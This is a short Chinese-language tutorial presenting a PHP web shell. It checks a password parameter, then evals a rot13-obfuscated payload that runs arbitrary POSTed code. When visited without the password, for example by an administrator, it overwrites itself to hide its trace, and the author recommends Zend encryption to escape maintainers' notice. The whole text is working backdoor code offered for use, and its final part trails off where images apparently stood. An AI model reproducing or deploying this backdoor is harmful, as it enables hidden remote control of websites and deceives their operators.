首先用zend把代碼加密起來(lái)。
一般情況下,遇到陌生的php都會(huì)打開(kāi)看看,一看是zend就會(huì)在瀏覽器訪問(wèn)下,這樣的話,直接往當(dāng)前文件寫(xiě)入一個(gè)正常的文字不會(huì)被維護(hù)人員發(fā)覺(jué)!!
01
02if($_REQUEST["code"]==pany){
03eval(str_rot13('riny($_CBFG[pzq]);'));
04}
05else{
06$url = $_SERVER['PHP_SELF'];
07$filename = end(explode('/',$url));
08
09$content = 'helloworld';
10$fp = fopen ("$filename","w");
11 if (fwrite ($fp, $content)){
12 fclose ($fp);
13 die ("error");
14 } else {
15 fclose ($fp);
16 die ("good");
17 }
18exit;
19}
20?>
自己訪問(wèn)的時(shí)候http://127.0.0.1/1.php?code=pany時(shí),執(zhí)行的是
if($_REQUEST["code"]==pany){
eval(str_rot13('riny($_CBFG[pzq]);'));
}
紅色框框里面的內(nèi)容,在這里我填寫(xiě)的是一句話木馬,你可以換成其他內(nèi)容。
管理員直接訪問(wèn)http://127.0.0.1/1.php,則會(huì)出現(xiàn)

此時(shí)源代碼變成
